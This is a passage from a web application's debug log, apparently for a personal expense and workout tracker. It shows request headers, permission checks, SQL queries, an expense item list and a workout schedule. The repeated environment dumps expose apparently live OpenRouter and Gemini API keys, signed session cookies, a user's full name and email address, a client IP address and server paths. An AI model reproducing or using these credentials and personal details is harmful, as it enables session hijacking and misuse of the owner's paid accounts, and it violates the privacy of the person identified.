    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T09:07:54.017Z server-connect:router Serving templateView /
2026-02-04T09:07:54.018Z server-connect:app Executing action step identify
2026-02-04T09:07:54.018Z server-connect:app options: { provider: 'security' }
2026-02-04T09:07:54.018Z server-connect:output identity: 1
2026-02-04T09:07:54.018Z server-connect:app Executing action step restrict
2026-02-04T09:07:54.018Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:07:54.020Z server-connect:output restrict: undefined
2026-02-04T09:07:54.021Z server-connect:app Executing action step restrict
2026-02-04T09:07:54.021Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:07:54.021Z server-connect:output restrict: undefined
2026-02-04T09:07:54.021Z server-connect:router Render template layouts/main
2026-02-04T09:07:54.022Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T09:07:55.013Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T09:07:55.013Z server-connect:app Executing action step identify
2026-02-04T09:07:55.013Z server-connect:app options: { provider: 'security' }
2026-02-04T09:07:55.013Z server-connect:output identity: 1
2026-02-04T09:07:55.013Z server-connect:app Executing action step restrict
2026-02-04T09:07:55.013Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:07:55.014Z server-connect:output restrict: undefined
2026-02-04T09:07:55.014Z server-connect:app Executing action step single
2026-02-04T09:07:55.014Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T09:07:55.014Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T09:07:55.016Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T09:07:55.016Z server-connect:app Executing action step identify
2026-02-04T09:07:55.016Z server-connect:app options: { provider: 'security' }
2026-02-04T09:07:55.016Z server-connect:output identity: 1
2026-02-04T09:07:55.016Z server-connect:app Executing action step restrict
2026-02-04T09:07:55.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:07:55.017Z server-connect:output restrict: undefined
2026-02-04T09:07:55.017Z server-connect:app Executing action step select
2026-02-04T09:07:55.017Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T09:07:55.021Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T09:07:59.131Z server-connect:router Serving templateView /workout
2026-02-04T09:07:59.131Z server-connect:app Executing action step identify
2026-02-04T09:07:59.131Z server-connect:app options: { provider: 'security' }
2026-02-04T09:07:59.131Z server-connect:output identity: 1
2026-02-04T09:07:59.131Z server-connect:app Executing action step restrict
2026-02-04T09:07:59.131Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:07:59.131Z server-connect:output restrict: undefined
2026-02-04T09:07:59.132Z server-connect:router Render template workout
2026-02-04T09:07:59.132Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T09:07:59.351Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-02-04T09:07:59.351Z server-connect:app Executing action step identify
2026-02-04T09:07:59.351Z server-connect:app options: { provider: 'security' }
2026-02-04T09:07:59.351Z server-connect:output identity: 1
2026-02-04T09:07:59.351Z server-connect:app Executing action step restrict
2026-02-04T09:07:59.351Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:07:59.352Z server-connect:output restrict: undefined
2026-02-04T09:07:59.352Z server-connect:app Executing action step select
2026-02-04T09:07:59.352Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-02-04T09:07:59.354Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-02-04T09:08:01.132Z server-connect:router Serving templateView /diecast
2026-02-04T09:08:01.132Z server-connect:app Executing action step identify
2026-02-04T09:08:01.133Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:01.133Z server-connect:output identity: 1
2026-02-04T09:08:01.133Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.133Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:08:01.133Z server-connect:output restrict: undefined
2026-02-04T09:08:01.133Z server-connect:router Render template diecast
2026-02-04T09:08:01.133Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
